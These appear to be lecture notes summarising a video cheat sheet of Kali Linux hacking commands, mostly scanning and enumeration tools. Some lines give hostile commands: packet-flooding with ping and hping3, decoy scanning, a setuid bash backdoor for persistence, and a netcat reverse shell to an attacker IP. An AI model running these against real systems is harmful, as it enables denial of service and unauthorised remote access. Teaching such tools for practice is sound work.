Essential Hacking Commands Overview

Sep 6, 2024

Top 60 Hacking Commands Lecture Notes

Introduction

  • Overview of the top 60 hacking commands.
  • Free Kali Linux sandbox offered for practical application.
  • Commands provided in the video description.
  • Beautiful cheat sheet for reference.

Basic Commands

Ping Command

  • Purpose: To check if a host is up.
  • Basic Usage: ping <hostname> (default packet size 64 bytes).
  • Testing Firewalls:
    • Send larger packets with ping -s <size> <hostname>.
    • Use ping -s 1300 -f <hostname> to flood the target.

Monitoring with IFTOP

  • Install: apt install iftop
  • Run: iftop to monitor bandwidth usage.

Advanced Packet Sending

HPING3

  • Install: apt install hping3
  • Flooding: hping3 -S -V --flood -p 80 <target> (for TCP packets).
  • Traceroute: Use hping3 --traceroute -V -1 <target> for ICMP or specify port with -p 80.

Tunneling with P-Tunnel

  • Install: apt install p-tunnel
  • Set Up: Run p-tunnel on target, then ptunnel -p <proxy_address> -lp <local_port> -da <destination_address> -dp <destination_port>.
  • Monitored with tcpdump.

Command Output Manipulation

Redirecting Output with Vim

  • Pipe output to Vim: command | vim -
  • Edit and re-run commands with :!<command>.

Network Scanning with Nmap

  • Install: apt install nmap
  • Basic Scan: nmap -sn <target_network>.
  • Service Discovery: nmap -sV <target>.
  • OS Detection: nmap -O <target>.
  • Vulnerability Scanning: nmap --script vuln <target>.
  • Decoys: nmap -D RND:10 <target> to obscure source.

Fast Scanning with Masscan

  • Install: apt install masscan
  • Usage: masscan -p<ports> <network>.
  • Rate Control: -rate <number> for speed.

Fun Commands

SL Command

  • Typo of ls results in a steam locomotive on screen.

Random Data Stream

  • Use: cat /dev/urandom for random data.

WHOIS Command

  • Install: apt install whois
  • Usage: whois <domain> for domain information.

WhatWeb

  • Install: apt install whatweb
  • Usage: whatweb <domain> to identify technologies used on websites.

Curl Command

  • Basic usage for HTTP requests: curl -I <url> for headers.
  • Useful for API requests.

Scanning Tools

Nikto

  • Install: apt install nikto
  • Basic usage: nikto -h <host> for vulnerability scans.

GoBuster

  • Install: apt install gobuster
  • Directory Enumeration: gobuster dir -u <url> -w <wordlist>.

Subdomain Enumeration

  • Using Sublist3r: Install: apt install sublist3r.
    • Run: sublist3r -d <domain>.

WPScan

  • Install: apt install wpscan
  • Usage: wpscan --url <url> --enumerate u for user enumeration.

AMass

  • Install: apt install amass
  • Usage: amass enum -d <domain> for subdomain enumeration.

GitHub Integration

Git Commands

  • Install: apt install git
  • Clone repositories: git clone <repo_url>.
  • Search for exploits with Searchsploit: searchsploit <keyword>.

Persistence Mechanism with SetUID

  • Modify binary for backdoor: chmod +s /bin/bash.
  • Allows elevated access through the modified shell.

Packet Capturing

TCP Dump and Tshark

  • Install: apt install tcpdump and apt install tshark
  • Capture Traffic: tcpdump -i <interface>.
  • Analyze with: tcpdump -r <file>.
  • Tshark for advanced filtering and analysis.

SSH for Remote Access

  • Use SSH to run remote commands: ssh user@host 'command'.
  • Create a SOCKS proxy: ssh -D <port> user@host.

Netcat for Reverse Shells

  • Install: apt install netcat-traditional
  • Set up a reverse shell: nc -lvnp <port> (attacker), nc -e /bin/sh <attacker_ip> <port> (target).

Conclusion

  • Summary of various hacking commands and their applications.
  • Encouragement to practice ethically and responsibly.